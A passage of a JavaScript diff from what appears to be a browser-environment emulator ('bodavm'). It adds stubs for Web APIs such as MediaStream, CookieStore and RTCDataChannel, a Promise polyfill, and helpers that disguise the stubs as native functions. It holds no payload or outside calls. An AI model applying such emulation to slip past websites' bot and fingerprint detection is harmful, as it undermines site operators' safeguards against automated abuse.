+bodavm.toolsFunc.defineProperty('Navigation', "traverseTo", { + configurable: true, + enumerable: true, + writable: true, + value: function traverseTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "traverseTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "updateCurrentEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function updateCurrentEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "updateCurrentEntry", arguments); + } +}, 'prototype'); + +// navigation对象 + +bodavm.memory.globalobj['navigation'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['navigation'].__proto__ = bodavm.memory.globalobj['Navigation'].prototype; +// MediaStream对象 + +bodavm.memory.globalobj['MediaStream'] = function MediaStream() { + console.log_copy('MediaStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); +bodavm.memory.globalobj['MediaStream'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaStream'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaStream', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "active", { + configurable: true, + enumerable: true, + get: function active() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "active_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onaddtrack", { + configurable: true, + enumerable: true, + get: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_get", arguments); + }, + set: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onaddtrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onremovetrack", { + configurable: true, + enumerable: true, + get: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_get", arguments); + }, + set: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onremovetrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "onactive", { + configurable: true, + enumerable: true, + get: function onactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_get", arguments); + }, + set: function onactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "onactive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "oninactive", { + configurable: true, + enumerable: true, + get: function oninactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_get", arguments); + }, + set: function oninactive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "oninactive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "addTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "addTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getAudioTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getAudioTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", { + configurable: true, + enumerable: true, + writable: true, + value: function getTrackById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", { + configurable: true, + enumerable: true, + writable: true, + value: function getVideoTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function removeTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments); + } +}, 'prototype'); +// TrustedTypePolicyFactory对象 + +bodavm.memory.globalobj['TrustedTypePolicyFactory'] = function TrustedTypePolicyFactory() { + console.log_copy('TrustedTypePolicyFactory 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedTypePolicyFactory)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicyFactory'], "TrustedTypePolicyFactory"); +bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TrustedTypePolicyFactory'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyHTML", { + configurable: true, + enumerable: true, + get: function emptyHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyHTML_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyScript", { + configurable: true, + enumerable: true, + get: function emptyScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyScript_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "defaultPolicy", { + configurable: true, + enumerable: true, + get: function defaultPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "defaultPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "createPolicy", { + configurable: true, + enumerable: true, + writable: true, + value: function createPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "createPolicy", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getAttributeType", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getAttributeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getPropertyType", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getPropertyType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getTypeMapping", { + configurable: true, + enumerable: true, + writable: true, + value: function getTypeMapping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getTypeMapping", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function isHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScript", { + configurable: true, + enumerable: true, + writable: true, + value: function isScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScript", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScriptURL", { + configurable: true, + enumerable: true, + writable: true, + value: function isScriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScriptURL", arguments); + } +}, 'prototype'); +// Scheduler对象 + +bodavm.memory.globalobj['Scheduler'] = function Scheduler() { + console.log_copy('Scheduler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Scheduler)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduler'], "Scheduler"); +bodavm.toolsFunc.defineProperty('Scheduler', "postTask", { + configurable: true, + enumerable: true, + writable: true, + value: function postTask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduler'].prototype, "Scheduler", "postTask", arguments); + } +}, 'prototype'); + +// scheduler对象 + +bodavm.memory.globalobj['scheduler'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['scheduler'].__proto__ = bodavm.memory.globalobj['Scheduler'].prototype; +// CookieStore对象 + +bodavm.memory.globalobj['CookieStore'] = function CookieStore() { + console.log_copy('CookieStore 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CookieStore)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); +bodavm.memory.globalobj['CookieStore'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['CookieStore'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('CookieStore', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CookieStore', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments); + } +}, 'prototype'); + +// cookieStore对象 + +bodavm.memory.globalobj['cookieStore'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['cookieStore'].__proto__ = bodavm.memory.globalobj['CookieStore'].prototype; +// RTCSessionDescription对象 + +bodavm.memory.globalobj['RTCSessionDescription'] = function RTCSessionDescription() { + console.log_copy('RTCSessionDescription 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RTCSessionDescription(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSessionDescription'], "RTCSessionDescription"); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "sdp", { + configurable: true, + enumerable: true, + get: function sdp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_get", arguments); + }, + set: function sdp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "sdp_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCSessionDescription', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSessionDescription'].prototype, "RTCSessionDescription", "toJSON", arguments); + } +}, 'prototype'); +// RTCDataChannel对象 + +bodavm.memory.globalobj['RTCDataChannel'] = function RTCDataChannel() { + console.log_copy('RTCDataChannel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCDataChannel)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannel'], "RTCDataChannel"); +bodavm.memory.globalobj['RTCDataChannel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDataChannel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDataChannel', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "ordered", { + configurable: true, + enumerable: true, + get: function ordered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "ordered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxPacketLifeTime", { + configurable: true, + enumerable: true, + get: function maxPacketLifeTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxPacketLifeTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxRetransmits", { + configurable: true, + enumerable: true, + get: function maxRetransmits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxRetransmits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "negotiated", { + configurable: true, + enumerable: true, + get: function negotiated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "negotiated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmount", { + configurable: true, + enumerable: true, + get: function bufferedAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmountLowThreshold", { + configurable: true, + enumerable: true, + get: function bufferedAmountLowThreshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_get", arguments); + }, + set: function bufferedAmountLowThreshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onbufferedamountlow", { + configurable: true, + enumerable: true, + get: function onbufferedamountlow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_get", arguments); + }, + set: function onbufferedamountlow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclosing", { + configurable: true, + enumerable: true, + get: function onclosing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_get", arguments); + }, + set: function onclosing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "reliable", { + configurable: true, + enumerable: true, + get: function reliable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "reliable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "send", arguments); + } +}, 'prototype'); +// CacheStorage对象 + +bodavm.memory.globalobj['CacheStorage'] = function CacheStorage() { + console.log_copy('CacheStorage 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CacheStorage)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CacheStorage'], "CacheStorage"); +bodavm.toolsFunc.defineProperty('CacheStorage', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "open", arguments); + } +}, 'prototype'); +const PENDING = 'pending'; +const FULFILLED = 'fulfilled'; +const REJECTED = 'rejected'; +function Promise(executor) { + this.state = PENDING; + this.value = null; + this.reason = null; + this.onFulfilledCallbacks = []; + this.onRejectedCallbacks = []; + const resolve = value => { + if (this.state === PENDING) { + this.state = FULFILLED; + this.value = value; + this.onFulfilledCallbacks.forEach(fun => { + fun(); + }); + } + }; + const reject = reason => { + if (this.state === PENDING) { + this.state = REJECTED; + this.reason = reason; + this.onRejectedCallbacks.forEach(fun => { + fun(); + }); + } + }; + try { + executor(resolve, reject); + } catch (reason) { + reject(reason); + } +} +bodavm.toolsFunc.safeProto(Promise, "Promise"); + +//原型上面的方法 +//用settimeout来模拟异步调用,保证链式调用,即then方法中要返回一个新的promise,并将then方法的返回值进行resolve +Promise.prototype.then = function (onFulfilled, onRejected) { + if (typeof onFulfilled != 'function') { + onFulfilled = function (value) { + return value; + }; + } + if (typeof onRejected != 'function') { + onRejected = function (reason) { + throw reason; + }; + } + const promise2 = new Promise((resolve, reject) => { + switch (this.state) { + case FULFILLED: + setTimeout(() => { + try { + const x = onFulfilled(this.value); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + break; + case REJECTED: + setTimeout(() => { + try { + const x = onRejected(this.reason); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + break; + case PENDING: + this.onFulfilledCallbacks.push(() => { + setTimeout(() => { + try { + const x = onFulfilled(this.value); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + }); + this.onRejectedCallbacks.push(() => { + setTimeout(() => { + try { + const x = onRejected(this.reason); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + }); + break; + } + }); + return promise2; +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.then, 'then'); +Promise.prototype.catch = function (onRejected) { + return this.then(null, onRejected); +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.catch, 'catch'); +Promise.prototype.finally = function (fn) { + return this.then(value => { + fn(); + return value; + }, reason => { + fn(); + throw reason; + }); +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.finally, 'finally'); + +//静态方法 +Promise.resolve = function (value) { + return new Promise((resolve, reject) => { + resolve(value); + }); +}; +bodavm.toolsFunc.safeFunc(Promise.resolve, 'resolve'); +Promise.reject = function (reason) { + return new Promise((resolve, reject) => { + reject(reason); + }); +}; +bodavm.toolsFunc.safeFunc(Promise.reject, 'reject'); + +//接受一个promise数组,当所有promise状态resolve后,执行resolve +Promise.all = function (promises) { + return new Promise((resolve, reject) => { + if (promises.length === 0) { + resolve([]); + } else { + let result = []; + let index = 0; + for (let i = 0; i < promises.length; i++) { + promises[i].then(data => { + result[i] = data; + if (++index === promises.length) { + resolve(result); + } + }, err => { + reject(err); + return; + }); + } + } + }); +}; +bodavm.toolsFunc.safeFunc(Promise.all, 'all'); + +//接受一个promise数组,当有一个promise状态resolve后,执行resolve +Promise.race = function (promises) { + return new Promise((resolve, reject) => { + if (promises.length === 0) { + resolve(); + } else { + let index = 0; + for (let i = 0; i < promises.length; i++) { + promises[i].then(data => { + resolve(data); + }, err => { + reject(err); + return; + }); + } + } + }); +}; +bodavm.toolsFunc.safeFunc(Promise.race, 'race'); +bodavm.toolsFunc.safeFunc(Promise); // globalMy.rename(Promise.prototype,"Promise") - - -// OffscreenCanvasRenderingContext2D对象 -bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'] = function OffscreenCanvasRenderingContext2D(){if (!(this instanceof OffscreenCanvasRenderingContext2D)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'], "OffscreenCanvasRenderingContext2D"); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_get", arguments)}, set:function 